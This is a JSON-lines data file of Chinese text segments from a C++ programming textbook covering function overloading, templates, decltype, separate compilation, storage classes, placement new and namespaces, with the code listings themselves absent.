    {"text": "也就是说，要为某个参数设置默认值，则必须为它右边的所有参数提供默认值： 例如，harpo( )原型允许调用该函数时提供1个、2个或3个参数： 实参按从左到右的顺序依次被赋给相应的形参，而不能跳过任何参数。"},
    {"text": "另一种可能出现的尴尬情况是，不负责任的用户要求的字符数目可能多于字符串包含的字符数，为预防这种情况，函数使用了一个组合测试： i < n测试让循环复制了n个字符后终止。"},
    {"text": "第一种方法将把“Hi!”复制到由32767个字符组成的数组中，并将除前3个字符之外的所有字符都设置为空值字符； 第二种方法将“Hi!”复制到由4个字符组成的数组中。"},
    {"text": "例如，当m的值等于n或到达字符串结尾时，下面的循环都将终止： 别忘了，在str[m]不是空值字符时，表达式str[m] != '\\0'的结果为true，否则为false。"},
    {"text": "由于在&&表达式中，非零值被转换为true，而零被转换为false，因此也可以这样编写这个while测试： 8.4 函数重载 函数多态是C++在C语言的基础上新增的功能。"},
    {"text": "类似地，术语“函数重载”指的是可以有多个同名的函数，因此对名称进行了重载。 这两个术语指的是同一回事，但我们通常使用函数重载。 可以通过函数重载来设计一系列函数——它们完成相同的工作，但使用不同的参数列表。 重载函数就像是有多种含义的动词。"},
    {"text": "如果两个函数的参数数目和类型相同，同时参数的排列顺序也相同，则它们的特征标相同，而变量名是无关紧要的。 C++允许定义名称相同的函数，条件是它们的特征标不同。"},
    {"text": "例如，可以定义一组原型如下的print( )函数： 使用print( )函数时，编译器将根据所采取的用法使用有相应特征标的原型： 例如，print(“Pancakes”, 15)使用一个字符串和一个整数作为参数，这与#1原型匹配。"},
    {"text": "请看下面的原型： 下面列出了各种函数调用对应的原型： dribble( )函数有两个原型，一个用于const指针，另一个用于常规指针，编译器将根据实参是否为const来决定使用哪个原型。 dribble( )函数只与带非const参数的调用匹配，而drivel( )函数可以与带const或非const参数的调用匹配。 drivel( )和dabble( )之所以在行为上有这种差别，主要是由于将非const值赋给const变量是合法的，但反之则是非法的。"},
    {"text": "请看下面三个原型： 左值引用参数r1与可修改的左值参数（如double变量）匹配； const左值引用参数r2与可修改的左值参数、const左值参数和右值参数（如两个double值的和）匹配； 最后，左值引用参数r3与左值匹配。 注意到与r1或r3匹配的参数都与r2匹配。"},
    {"text": "答案是将调用最匹配的版本： 这让您能够根据参数是左值、const还是右值来定制函数的行为： 如果没有定义函数stove(double &&)，stove(x+y)将调用函数stove(const double &)。"},
    {"text": "8.4.1 重载示例 本章前面创建了一个left( )函数，它返回一个指针，指向字符串的前n个字符。 下面添加另一个left( )函数，它返回整数的前n位。"},
    {"text": "一种方法是，先计算数字包含多少位。 将数字除以10便可以去掉一位，因此可以使用除法来计算数位。 更准确地说，可以用下面的循环完成这种工作： 上述循环计算每次删除n中的一位时，需要多少次才能删除所有的位。"},
    {"text": "每除以10次就删除数字的最后一位。 要知道需要删除多少位，只需将总位数减去要获得的位数即可。 例如，要获得9位数的前4位，需要删除后面的5位。"},
    {"text": "使用C++开发工具中的编辑器编写和编译程序时，C++编译器将执行一些神奇的操作——名称修饰（name decoration）或名称矫正（name mangling），它根据函数原型中指定的形参类型对每个函数名进行加密。"},
    {"text": "而编译器将名称转换为不太好看的内部表示，来描述该接口，如下所示： 对原始名称进行的表面看来无意义的修饰（或矫正，因人而异）将对参数数目和类型进行编码。"},
    {"text": "需要交换int的函数时，编译器将按模板模式创建这样的函数，并用int代替AnyType。 同样，需要交换double的函数时，编译器将按模板模式创建这样的函数，并用double代替AnyType。"},
    {"text": "也就是说，用double替换T，生成下述代码： 下面是程序清单8.11中程序的输出，从中可知，这种处理方式是可行的： 注意，函数模板不能缩短可执行程序。"},
    {"text": "程序清单8.12 twotemps.cpp 下面是程序清单8.12中程序的输出： 8.5.2 模板的局限性 假设有如下模板函数： 通常，代码假定可执行哪些操作。"},
    {"text": "例如，下面的代码假定定义了赋值，但如果T为数组，这种假设将不成立： 同样，下面的语句假设定义了<，但如果T为结构，该假设便不成立： 另外，为数组名定义了运算符>，但由于数组名为地址，因此它比较的是数组的地址，而这可能不是您希望的。 下面的语句假定为类型T定义了乘法运算符，但如果T为数组、指针或结构，这种假设便不成立： 总之，编写的模板函数很可能无法处理某些类型。"},
    {"text": "一种解决方案是，C++允许您重载运算符+，以便能够将其用于特定的结构或类（运算符重载将在第11章讨论）。 这样使用运算符+的模板便可处理重载了运算符+的结构。"},
    {"text": "然而，假设只想交换salary和floor成员，而不交换name成员，则需要使用不同的代码，但Swap( )的参数将保持不变（两个job结构的引用），因此无法使用模板重载来提供其他的代码。"},
    {"text": "下面是用于交换job结构的非模板函数、模板函数和具体化的原型： 正如前面指出的，如果有多个原型，则编译器在选择原型时，非模板版本优先于显式具体化和模板版本，而显式具体化优先于使用模板生成的版本。"},
    {"text": "这种实例化方式被称为隐式实例化（implicit instantiation），因为编译器之所以知道需要进行定义，是由于程序调用Swap( )函数时提供了int参数。 最初，编译器只能通过隐式实例化，来使用模板生成函数定义，但现在C++还允许显式实例化（explicit instantiation）。"},
    {"text": "其语法是，声明所需的种类——用<>符号指示类型，并在声明前加上关键字template： 实现了这种特性的编译器看到上述声明后，将使用Swap( )模板生成一个使用int类型的实例。 也就是说，该声明的意思是“使用Swap( )模板生成int类型的函数定义。 ” 与显式实例化不同的是，显式具体化使用下面两个等价的声明之一： 区别在于，这些声明的意思是“不要使用Swap( )模板来生成函数定义，而应使用专门为int类型显式地定义的函数定义”。"},
    {"text": "下面的代码片段总结了这些概念： 编译器看到char的显式实例化后，将使用模板定义来生成Swap( )的char版本。 对于其他Swap( )调用，编译器根据函数调用中实际使用的参数，生成相应的版本。 例如，当编译器看到函数调用Swap(a, b)后，将生成Swap( )的short版本，因为两个参数的类型都是short。 当编译器看到Swap(n, m)后，将使用为job类型提供的独立定义（显式具体化）。 当编译器看到Swap(g, h)后，将使用处理显式实例化时生成的模板具体化。"},
    {"text": "8.5.5 编译器选择使用哪个函数版本 对于函数重载、函数模板和函数模板重载，C++需要（且有）一个定义良好的策略，来决定为函数调用使用哪一个函数定义，尤其是有多个参数时。"},
    {"text": "考虑只有一个函数参数的情况，如下面的调用： 首先，编译器将寻找候选者，即名称为may( )的函数和函数模板。 然后寻找那些可以用一个参数调用的函数。"},
    {"text": "Type（argument-list）意味着用作实参的函数名与用作形参的函数指针只要返回类型和参数列表相同，就是匹配的（第7章介绍了函数指针以及为何可以将函数名作为参数传递给接受函数指针的函数）。"},
    {"text": "表8.1 完全匹配允许的无关紧要转换 从 实 参 到 形 参 Type Type & Type & Type Type [ ] * Type Type（argument-list） Type（*）（argument-list） Type const Type Type volatile Type Type * const Type Type * volatile Type * 假设有下面的函数代码： 在这种情况下，下面的原型都是完全匹配的： 正如您预期的，如果有多个匹配的原型，则编译器将无法完成重载解析过程；"},
    {"text": "一个完全匹配优于另一个的另一种情况是，其中一个是非模板函数，而另一个不是。 在这种情况下，非模板函数将优先于模板函数（包括显式具体化）。 如果两个完全匹配的函数都是模板函数，则较具体的模板函数优先。"},
    {"text": "例如，这意味着显式具体化将优于使用模板隐式生成的具体化： 术语“最具体（most specialized）”并不一定意味着显式具体化，而是指编译器推断使用哪种类型时执行的转换最少。"},
    {"text": "例如，请看下面两个模板： 假设包含这些模板的程序也包含如下代码： recycle(&ink)调用与#1模板匹配，匹配时将Type解释为blot *。 recycle（&ink）函数调用也与#2模板匹配，这次Type被解释为ink。"},
    {"text": "也就是说，#2模板已经显式指出，函数参数是指向Type的指针，因此可以直接用blot标识Type； 而#1模板将Type作为函数参数，因此Type必须被解释为指向blot的指针。 也就是说，在#2模板中，Type已经被具体化为指针，因此说它“更具体”。"},
    {"text": "如果只存在一个这样的函数，则选择它； 如果存在多个这样的函数，但其中只有一个是非模板函数，则选择该函数； 如果存在多个适合的函数，且它们都为模板函数，但其中有一个函数比其他函数更具体，则选择该函数。"},
    {"text": "该程序的输出如下： 程序清单8.15提供了一个模板和一个标准函数，其中模板返回两个值中较小的一个，而标准函数返回两个值中绝对值较小的那个。"},
    {"text": "接下来，下述语句中的函数调用与模板匹配（T为double）： 现在来看下面的语句： lesser<>(m, n)中的<>指出，编译器应选择模板函数，而不是非模板函数；"},
    {"text": "编译器注意到实参的类型为int，因此使用int替代T对模板进行实例化。 最后，请看下面的语句： 这条语句要求进行显式实例化（使用int替代T），将使用显式实例化得到的函数。"},
    {"text": "如果找到比其他可行函数都合适的函数，则选择该函数。 一个函数要比其他函数都合适，其所有参数的匹配程度都必须不比其他函数差，同时至少有一个参数的匹配程度比其他函数都高。"},
    {"text": "8.5.6 模板函数的发展 在C++发展的早期，大多数人都没有想到模板函数和模板类会有这么强大而有用，它们甚至没有就这个主题发挥想象力。"},
    {"text": "例如，T1可能是double，而T2可能是int，在这种情况下，两个变量的和将为double类型。 T1可能是short，而T2可能是int，在这种情况下，两个变量的和为int类型。 T1还可能是short，而T2可能是char，在这种情况下，加法运算将导致自动整型提升，因此结果类型为int。"},
    {"text": "可这样使用该关键字： 给decltype提供的参数可以是表达式，因此在前面的模板函数ft()中，可使用下面的代码： 另一种方法是，将这两条语句合而为一： 因此，可以这样修复前面的模板函数ft()： decltype比这些示例演示的要复杂些。"},
    {"text": "假设有如下声明： 则核对表的简化版如下： 第一步：如果expression是一个没有用括号括起的标识符，则var的类型与该标识符的类型相同，包括const等限定符： 第二步：如果expression是一个函数调用，则var的类型与函数的返回类型相同： 注意： 并不会实际调用函数。"},
    {"text": "例如，下面两条语句等效： 第四步：如果前面的条件都不满足，则var的类型与expression的类型相同： 请注意，虽然k和n都是引用，但表达式k+n不是引用；"},
    {"text": "如果需要多次声明，可结合使用typedef和decltype： 3．另一种函数声明语法（C++11后置返回类型） 有一个相关的问题是decltype本身无法解决的。"},
    {"text": "好像可以将返回类型设置为decltype ( x + y)，但不幸的是，此时还未声明参数x和y，它们不在作用域内（编译器看不到它们，也无法使用它们）。"},
    {"text": "这种语法也可用于函数定义： 通过结合使用这种语法和decltype，便可给gt()指定返回类型，如下所示： 现在，decltype在参数声明后面，因此x和y位于作用域内，可以使用它们。"},
    {"text": "4．下面是一个结构模板： a．请编写一个函数，它将box结构的引用作为形参，并显示每个成员的值。 b．请编写一个函数，它将box结构的引用作为形参，并将volume成员设置为其他3边的乘积。"},
    {"text": "a．mass(density, volume)返回密度为density、体积为volume的物体的质量，而mass(denstity)返回密度为density、体积为1.0立方米的物体的质量。"},
    {"text": "d．mangle(“I'm glad to meet you”)根据是将值赋给char变量还是char*变量，分别返回字符I和指向字符串“I'm mad to gleet you”的指针。"},
    {"text": "然而，如果提供了第二个参数（int类型），且该参数不为0，则该函数打印字符串的次数将为该函数被调用的次数（注意，字符串的打印次数不等于第二个参数的值，而等于函数被调用的次数）。"},
    {"text": "然后编写一个程序，它通过使用一个循环让您能够用不同的输入来测试这个函数，该程序的运行情况如下： 4．下面是一个程序框架： 请提供其中描述的函数和原型，从而完成该程序。"},
    {"text": "） 5．编写模板函数max5( )，它将一个包含5个T类型元素的数组作为参数，并返回数组中最大的元素（由于长度固定，因此可以在循环中使用硬编码，而不必通过参数来传递）。"},
    {"text": "例如，UNIX和Linux系统都具有make程序，可以跟踪程序依赖的文件以及这些文件的最后修改时间。 运行make时，如果它检测到上次编译后修改了源文件，make将记住重新构建程序所需的步骤。"},
    {"text": "头文件：包含结构声明和使用这些结构的函数的原型。 源代码文件：包含与结构有关的函数的代码。 源代码文件：包含调用与结构相关的函数的代码。"},
    {"text": "例如，如果在头文件包含一个函数定义，然后在其他两个文件（属于同一个程序）中包含该头文件，则同一个程序中将包含同一个函数的两个定义，除非函数是内联的，否则这将出错。"},
    {"text": "如果文件名包含在尖括号中，则C++编译器将在存储标准头文件的主机系统的文件系统中查找； 但如果文件名包含在双引号中，则编译器将首先查找当前的工作目录或源代码目录（或其他目录，这取决于编译器）。"},
    {"text": "Apple Xcode、Embarcadero C++ Builderr和Microsoft Visual C++基本上执行同样的步骤，但正如第1章介绍的，启动这个过程的方式不同——使用能够创建项目并将其与源代码文件关联起来的菜单。"},
    {"text": "另外，不要使用#include来包含源代码文件，这样做将导致多重声明。 警告： 在IDE中，不要将头文件加入到项目列表中，也不要在源代码文件中使用#include来包含其他源代码文件。"},
    {"text": "下面的代码片段意味着仅当以前没有使用预处理器编译指令#define定义名称COORDIN H 时，才处理#ifndef和#endif之间的语句： 通常，使用#define语句来创建符号常量，如下所示： 但只要将#define用于名称，就足以完成该名称的定义，如下所示： 程序清单9.1使用这种技术是为了将文件内容包含在#ifndef中： 编译器首次遇到该文件时，名称COORDIN H 没有定义（我们根据include文件名来选择名称，并加上一些下划线，以创建一个在其他地方不太可能被定义的名称）。 在这种情况下，编译器将查看#ifndef和#endif之间的内容（这正是我们希望的），并读取定义COORDIN H 的一行。 如果在同一个文件中遇到其他包含coordin.h的代码，编译器将知道COORDIN H 已经被定义了，从而跳到#endfi后面的一行上。"},
    {"text": "下面是该程序的运行情况： 顺便说一句，虽然我们讨论的是根据文件进行单独编译，但为保持通用性，C++标准使用了术语翻译单元（translation unit），而不是文件；"},
    {"text": "多个库的链接 C++标准允许每个编译器设计人员以他认为合适的方式实现名称修饰（参见第8章的旁注“什么是名称修饰”），因此由不同编译器创建的二进制模块（对象代码文件）很可能无法正确地链接。"},
    {"text": "也就是说，两个编译器将为同一个函数生成不同的修饰名称。 名称的不同将使链接器无法将一个编译器生成的函数调用与另一个编译器生成的函数定义匹配。"},
    {"text": "动态存储持续性：用new运算符分配的内存将一直存在，直到使用delete运算符将其释放或程序结束为止。 这种内存的存储持续性为动态，有时被称为自由存储（free store）或堆（heap）。"},
    {"text": "作用域为全局（也叫文件作用域）的变量在定义位置到文件结尾之间都可用。 自动变量的作用域为局部，静态变量的作用域是全局还是局部取决于它是如何被定义的。"},
    {"text": "在函数原型作用域（function prototype scope）中使用的名称只在包含参数列表的括号内可用（这就是为什么这些名称是什么以及是否出现都不重要的原因）。"},
    {"text": "在名称空间中声明的变量的作用域为整个名称空间（由于名称空间已经引入到C++语言中，因此全局作用域是名称空间作用域的特例）。 C++函数的作用域可以是整个类或整个名称空间（包括全局的），但不能是局部的（因为不能在代码块内定义函数，如果函数的作用域为局部，则只对它自己是可见的，因此不能被其他函数调用。"},
    {"text": "也就是说，如果在main( )中声明了一个名为texas的变量，并在函数oil( )中也声明了一个名为texas变量，则创建了两个独立的变量——只有在定义它们的函数中才能使用它们。"},
    {"text": "例如，假设在main( )的开头定义了一个名为teledeli的变量，然后在main( )中开始一个新的代码块，并其中定义了一个新的变量websight，则teledeli在内部代码块和外部代码块中都是可见的，而websight就只在内部代码块中可见，它的作用域是从定义它的位置到该代码块的结尾： 然而，如果将内部代码块中的变量命名为teledeli，而不是websight，使得有两个同名的变量（一个位于外部代码块中，另一个位于内部代码块中），情况将如何呢？"},
    {"text": "程序清单9.4 auto.cpp 下面是该程序的输出： 在程序清单9.4中，3个texas变量的地址各不相同，而程序使用当前可见的那个变量，因此将113赋给oil( )中的内部代码块中的texas，对其他同名变量没有影响。"},
    {"text": "使用C++11中的auto 在C++11中，关键字auto用于自动类型推断，这在第3、7和8章介绍过。 但在C语言和以前的C++版本中，auto的含义截然不同，它用于显式地指出变量为自动存储： 由于只能将关键字auto用于默认为自动的变量，因此程序员几乎不使用它。"},
    {"text": "1．自动变量的初始化 可以使用任何在声明时其值为已知的表达式来初始化自动变量，下面的示例初始化变量x、y和z： 2．自动变量和栈 了解典型的C++编译器如何实现自动变量有助于更深入地了解自动变量。"},
    {"text": "之所以被称为栈，是由于新数据被象征性地放在原有数据的上面（也就是说，在相邻的内存单元中，而不是在同一个内存单元中），当程序使用完后，将其从栈中删除。"},
    {"text": "程序使用两个指针来跟踪栈，一个指针指向栈底——栈的开始位置，另一个指针指向堆顶——下一个可用内存单元。 当函数被调用时，其自动变量将被加入到栈中，栈顶指针指向变量后面的下一个可用的内存单元。 函数结束时，栈顶指针被重置为函数被调用前的值，从而释放新变量使用的内存。"},
    {"text": "新值没有被删除，但不再被标记，它们所占据的空间将被下一个将值加入到栈中的函数调用所使用（图9.3做了简化，因为函数调用可能传递其他信息，如返回地址）。"},
    {"text": "图9.3 使用栈传递参数 3．寄存器变量 关键字register最初是由C语言引入的，它建议编译器使用CPU寄存器来存储自动变量： 这旨在提高访问变量的速度。"},
    {"text": "在C++11之前，这个关键字在C++中的用法始终未变，只是随着硬件和编译器变得越来越复杂，这种提示表明变量用得很多，编译器可对其做特殊处理。"},
    {"text": "在C++11中，这种提示作用也失去了，关键字register只是显式地指出变量是自动的。 鉴于关键字register只能用于原本就是自动的变量，使用它的唯一原因是，指出程序员想使用一个自动变量，这个变量的名称可能与外部变量相同。"},
    {"text": "9.2.3 静态持续变量 和C语言一样，C++也为静态存储持续性变量提供了3种链接性：外部链接性（可在其他文件中访问）、内部链接性（只能在当前文件中访问）和无链接性（只能在当前函数或代码块中访问）。"},
    {"text": "要想创建链接性为外部的静态持续变量，必须在代码块的外面声明它； 要创建链接性为内部的静态持续变量，必须在代码块的外面声明它，并使用static限定符； 要创建没有链接性的静态持续变量，必须在代码块内声明它，并使用static限定符。"},
    {"text": "表9.1指出了关键字static的两种用法，但含义有些不同：用于局部声明，以指出变量是无链接性的静态变量时，static表示的是存储持续性； 而用于代码块外的声明时，static表示内部链接性，而变量已经是静态持续性了。"},
    {"text": "表9.1 5种变量储存方式 存 储 描 述 持 续 性 作 用 域 链 接 性 如 何 声 明 自动 自动 代码块 无 在代码块中 寄存器 自动 代码块 无 在代码块中，使用关键字register 静态，无链接性 静态 代码块 无 在代码块中，使用关键字static 静态，外部链接性 静态 文件 外部 不在任何函数内 静态，内部链接性 静态 文件 内部 不在任何函数内，使用关键字static 静态变量的初始化 除默认的零初始化外，还可对静态变量进行常量表达式初始化和动态初始化。"},
    {"text": "零初始化和常量表达式初始化被统称为静态初始化，这意味着在编译器处理文件（翻译单元）时初始化变量。 动态初始化意味着变量将在编译后初始化。"},
    {"text": "接下来，如果使用常量表达式初始化了变量，且编译器仅根据文件内容（包括被包含的头文件）就可计算表达式，编译器将执行常量表达式初始化。"},
    {"text": "一种是定义声明（defining declaration）或简称为定义（definition），它给变量分配存储空间； 另一种是引用声明（referencing declaration）或简称为声明（declaration），它不给变量分配存储空间，因为它引用已有的变量。"},
    {"text": "否则，声明为定义，导致分配存储空间： 如果要在多个文件中使用外部变量，只需在一个文件中包含该变量的定义（单定义规则），但在使用该变量的其他所有文件中，都必须使用关键字extern声明它： 在这里，所有文件都使用了在file01.cpp中定义的变量cats和dogs，但file02.cpp没有重新声明变量fleas，因此无法访问它。 在文件file01.cpp中，关键字extern并非必不可少的，因为即使省略它，效果也相同（参见图9.4） 图9.4 定义声明和引用声明 请注意，单定义规则并非意味着不能有多个变量的名称相同。"},
    {"text": "程序清单9.5 external.cpp 程序清单9.6 support.cpp 下面是该程序的输出： 2．程序说明 程序清单9.5和程序清单9.6所示程序的输出表明，main( )和update( )都可以访问外部变量warming。"},
    {"text": "在程序清单9.5中，warming的定义如下： 在程序清单9.6中，使用关键字extern声明变量warming，让该文件中的函数能够使用它： 正如注释指出的，该声明的的意思是，使用外部定义的变量warming。 另外，函数update()使用关键字extern重新声明了变量warming，这个关键字的意思是，通过这个名称使用在外部定义的变量。"},
    {"text": "但如果文件定义了一个静态外部变量，其名称与另一个文件中声明的常规外部变量相同，则在该文件中，静态变量将隐藏常规外部变量： 这没有违反单定义规则，因为关键字static指出标识符errors的链接性为内部，因此并非要提供外部定义。"},
    {"text": "程序清单9.7 twofile1.cpp 程序清单9.8 twofile2.cpp 下面是编译程序清单9.7和程序清单9.8生成的程序的输出： 从上述地址可知，这两个文件使用了同一个tom变量，但使用了不同的dick和harry变量。"},
    {"text": "这种变量是这样创建的，将static限定符用于在代码块中定义的变量。 在代码块中使用static时，将导致局部变量的存储持续性为静态的。 这意味着虽然该变量只在该代码块中可用，但它在该代码块不处于活动状态时仍然存在。 因此在两次函数调用之间，静态局部变量的值将保持不变。"},
    {"text": "9.2.7 说明符和限定符 有些被称为存储说明符（storage class specifier）或cv-限定符（cv-qualifier）的C++关键字提供了其他有关存储的信息。"},
    {"text": "例如，假设编译器发现，程序在几条语句中两次使用了某个变量的值，则编译器可能不是让程序查找这个值两次，而是将这个值缓存到寄存器中。"},
    {"text": "那么，预处理器将头文件的内容包含到每个源文件中后，所有的源文件都将包含类似下面这样的定义： 如果全局const声明的链接性像常规变量那样是外部的，则根据单定义规则，这将出错。"},
    {"text": "也就是说，只能有一个文件可以包含前面的声明，而其他文件必须使用extern关键字来提供引用声明。 另外，只有未使用extern关键字的声明才能进行初始化： 因此，需要为某个文件使用一组定义，而其他文件使用另一组声明。"},
    {"text": "如果出于某种原因，程序员希望某个常量的链接性为外部的，则可以使用extern关键字来覆盖默认的内部链接性： 在这种情况下，必须在所有使用该常量的文件中使用extern关键字来声明它。 这与常规外部变量不同，定义常规外部变量时，不必使用extern关键字，但在使用该变量的其他文件中必须使用extern。"},
    {"text": "和C语言一样，C++不允许在一个函数中定义另外一个函数，因此所有函数的存储持续性都自动为静态的，即在整个程序执行期间都一直存在。"},
    {"text": "实际上，可以在函数原型中使用关键字extern来指出函数是在另一个文件中定义的，不过这是可选的（要让程序在另一个文件中查找函数，该文件必须作为程序的组成部分被编译，或者是由链接程序搜索的库文件）。"},
    {"text": "对于链接性为外部的函数来说，这意味着在多文件程序中，只能有一个文件（该文件可能是库文件，而不是您提供的）包含该函数的定义，但使用该函数的每个文件都应包含其函数原型。"},
    {"text": "这意味着如果定义了一个与库函数同名的函数，编译器将使用程序员定义的版本，而不是库函数（然而，C++保留了标准库函数的名称，即程序员不应使用它们）。"},
    {"text": "但在C++中，同一个名称可能对应多个函数，必须将这些函数翻译为不同的符号名称。 因此，C++编译器执行名称矫正或名称修饰（参见第8章），为重载函数生成不同的符号名称。"},
    {"text": "例如，假设有下面的代码： 它在C库文件中的符号名称为_spiff，但对于我们假设的链接程序来说，C++查询约定是查找符号名称_spiff_i。"},
    {"text": "9.2.10 存储方案和动态分配 前面介绍C++用来为变量（包括数组和结构）分配内存的5种方案（线程内存除外），它们不适用于使用C++运算符new（或C函数malloc( )）分配的内存，这种内存被称为动态内存。"},
    {"text": "例如，假设在一个函数中包含下面的语句： 由new分配的80个字节（假设float为4个字节）的内存将一直保留在内存中，直到使用delete运算符将其释放。"},
    {"text": "另外，通过在另一个文件中使用下述声明，便可在其中使用该指针： 注意： 在程序结束时，由new分配的内存通常都将被释放，不过情况也并不总是这样。"},
    {"text": "如果要为内置的标量类型（如int或double）分配存储空间并初始化，可在类型名后面加上初始值，并将其用括号括起： 这种括号语法也可用于有合适构造函数的类，这将在本书后面介绍。"},
    {"text": "对于下面这样的基本语句： 将被转换为下面这样： 而下面的语句： 将被转换为下面这样： 正如您知道的，使用运算符new的语句也可包含初始值，因此，使用new运算符时，可能不仅仅是调用new()函数。"},
    {"text": "4．定位new运算符 通常，new负责在堆（heap）中找到一个足以能够满足要求的内存块。 new运算符还有另一种变体，被称为定位（placement）new运算符，它让您能够指定要使用的位置。"},
    {"text": "要使用定位new特性，首先需要包含头文件new，它提供了这种版本的new运算符的原型； 然后将new运算符用于提供了所需地址的参数。 除需要指定参数外，句法与常规new运算符相同。 具体地说，使用定位new运算符时，变量后面可以有方括号，也可以没有。 下面的代码段演示了new运算符的4种用法： 出于简化的目的，这个示例使用两个静态数组来为定位new运算符提供内存空间。"},
    {"text": "程序清单9.10 newplace.cpp 下面是该程序在某个系统上运行时的输出： 5．程序说明 有关程序清单9.10，首先要指出的一点是，定位new运算符确实将数组p2放在了数组buffer中，p2和buffer的地址都是00FD9138。 然而，它们的类型不同，p1是double指针，而buffer是char指针（顺便说一句，这也是程序使用(void *)对buffer进行强制转换的原因，如果不这样做，cout将显示一个字符串）同时，常规new将数组p1放在很远的地方，其地址为006E4AB0，位于动态管理的堆中。"},
    {"text": "需要指出的第二点是，第二个常规new运算符查找一个新的内存块，其起始地址为006E4B68； 但第二个定位new运算符分配与以前相同的内存块：起始地址为00FD9138的内存块。"},
    {"text": "例如，在第三次调用定位new运算符时，提供了一个从数组buffer开头算起的偏移量，因此将分配新的内存： 第三点差别是，是否使用delete来释放内存。 对于常规new运算符，下面的语句释放起始地址为006E4AB0的内存块，因此接下来再次调用new运算符时，该内存块是可用的： 然而，程序清单9.10中的程序没有使用delete来释放使用定位new运算符分配的内存。"},
    {"text": "buffer指定的内存是静态内存，而delete只能用于这样的指针：指向常规new运算符分配的堆内存。 也就是说，数组buffer位于delete的管辖区域之外，下面的语句将引发运行阶段错误： 另一方面，如果buffer是使用常规new运算符创建的，便可以使用常规delete运算符来释放整个内存块。"},
    {"text": "6．定位new的其他形式 就像常规new调用一个接收一个参数的new()函数一样，标准定位new调用一个接收两个参数的new()函数： 定位new函数不可替换，但可重载。"},
    {"text": "当随着项目的增大，名称相互冲突的可能性也将增加。 使用多个厂商的类库时，可能导致名称冲突。 例如，两个库可能都定义了名为List、Tree和Node的类，但定义的方式不兼容。 用户可能希望使用一个库的List类，而使用另一个库的Tree类。"},
    {"text": "9.3.1 传统的C++名称空间 介绍C++中新增的名称空间特性之前，先复习一下C++中已有的名称空间属性，并介绍一些术语，让读者熟悉名称空间的概念。"},
    {"text": "例如，可以在函数外面声明全局变量，对于这种变量，其声明区域为其声明所在的文件。 对于在函数中声明的变量，其声明区域为其声明所在的代码块。"},
    {"text": "例如，它可能被另一个在嵌套声明区域中声明的同名变量隐藏。 例如，在函数中声明的局部变量（对于这种变量，声明区域为整个函数）将隐藏在同一个文件中声明的全局变量（对于这种变量，声明区域为整个文件）。"},
    {"text": "图9.5 声明区域 图9.6 潜在作用域和作用域 9.3.2 新的名称空间特性 C++新增了这样一种功能，即通过定义一种新的声明区域来创建命名的名称空间，这样做的目的之一是提供一个声明名称的区域。"},
    {"text": "最简单的方法是，通过作用域解析运算符::，使用名称空间来限定该名称： 未被装饰的名称（如pail）称为未限定的名称（unqualified name）； 包含名称空间的名称（如Jack::pail）称为限定的名称（qualified name）。"},
    {"text": "1．using声明和using编译指令 我们并不希望每次使用名称时都对它进行限定，因此C++提供了两种机制（using声明和using编译指令）来简化对名称空间中名称的使用。 using声明使特定的标识符可用，using编译指令使整个名称空间可用。 using声明由被限定的名称和它前面的关键字using组成： using声明将特定的名称添加到它所属的声明区域中。 例如main( )中的using声明Jill::fetch将fetch添加到main( )定义的声明区域中。 完成该声明后，便可以使用名称fetch代替Jill::fetch。 下面的代码段说明了这几点： 由于using声明将名称添加到局部声明区域中，因此这个示例避免了将另一个局部变量也命名为fetch。"},
    {"text": "在函数的外面使用using声明时，将把名称添加到全局名称空间中： using声明使一个名称可用，而using编译指令使所有的名称都可用。 using编译指令由名称空间名和它前面的关键字using namespace组成，它使名称空间中的所有名称都可用，而不需要使用作用域解析运算符： 在全局声明区域中使用using编译指令，将使该名称空间的名称全局可用。 这种情况已出现过多次： 在函数中使用using编译指令，将使其中的名称在该函数中可用，下面是一个例子： 在本书前面中，经常将这种格式用于名称空间std。"},
    {"text": "也就是说，如果有名称空间jack和jill，并在代码中使用作用域解析运算符，则不会存在二义性： 变量jack::pal和jill::pal是不同的标识符，表示不同的内存单元。"},
    {"text": "2．using编译指令和using声明之比较 使用using编译指令导入一个名称空间中所有的名称与使用多个using声明是不一样的，而更像是大量使用作用域解析运算符。"},
    {"text": "不过仍可以像下面的示例中那样使用作用域解析运算符： 在main( )中，名称Jill::fetch被放在局部名称空间中，但其作用域不是局部的，因此不会覆盖全局的fetch。"},
    {"text": "需要指出的另一点是，虽然函数中的using编译指令将名称空间的名称视为在函数之外声明的，但它不会使得该文件中的其他函数能够使用这些名称。"},
    {"text": "如果试图使用using声明将名称空间的名称导入该声明区域，则这两个名称会发生冲突，从而出错。 如果使用using编译指令将该名称空间的名称导入该声明区域，则局部版本将隐藏名称空间版本。 一般说来，使用using声明比使用using编译指令更安全，这是由于它只导入指定的名称。 如果该名称与局部名称发生冲突，编译器将发出指示。 using编译指令导入所有名称，包括可能并不需要的名称。"},
    {"text": "它易于完成，同时如果系统不支持名称空间，可以将前两行替换为： 然而，名称空间的支持者希望有更多的选择，既可以使用解析运算符，也可以使用using声明。 也就是说，不要这样做： 而应这样做： 或者这样做： 可以用嵌套式名称空间（将在下一节介绍）来创建一个包含常用using声明的名称空间。"},
    {"text": "同样，可以使用下面的using编译指令使内部的名称可用： 另外，也可以在名称空间中使用using编译指令和using声明，如下所示： 假设要访问Jill::fetch。 由于Jill::fetch现在位于名称空间myth（在这里，它被叫做fetch）中，因此可以这样访问它： 当然，由于它也位于Jill名称空间中，因此仍然可以称作Jill::fetch： 如果没有与之冲突的局部变量，则也可以这样做： 现在考虑将using编译指令用于myth名称空间的情况。"},
    {"text": "在这个情况下，下面的语句将导入名称空间myth和elements： 这条编译指令与下面两条编译指令等价： 可以给名称空间创建别名。 例如，假设有下面的名称空间： 则可以使用下面的语句让mvft成为my_very_favorite_things的别名： 可以使用这种技术来简化对嵌套名称空间的使用： 4．未命名的名称空间 可以通过省略名称空间的名称来创建未命名的名称空间： 这就像后面跟着using编译指令一样，也就是说，在该名称空间中声明的名称的潜在作用域为：从声明点到该声明区域末尾。"},
    {"text": "然而，由于这种名称空间没有名称，因此不能显式地使用using编译指令或using声明来使它在其他位置都可用。 具体地说，不能在未命名名称空间所属文件之外的其他文件中，使用该名称空间中的名称。"},
    {"text": "第二个名称空间叫做debts，它定义了一个结构，该结构用来存储人名和金额。 该结构使用了Person结构，因此，debts名称空间使用一条using编译指令，让pers中的名称在debts名称空间可用。 debts名称空间也包含一些原型。"},
    {"text": "另外，文件names.cpp演示了如何使用using声明和作用域解析运算符来使名称空间std中的元素可用。 程序清单9.12 namesp.cpp 最后，该程序的第三个文件（参见程序清单9.13）是一个源代码文件，它使用了名称空间中声明和定义的结构和函数。"},
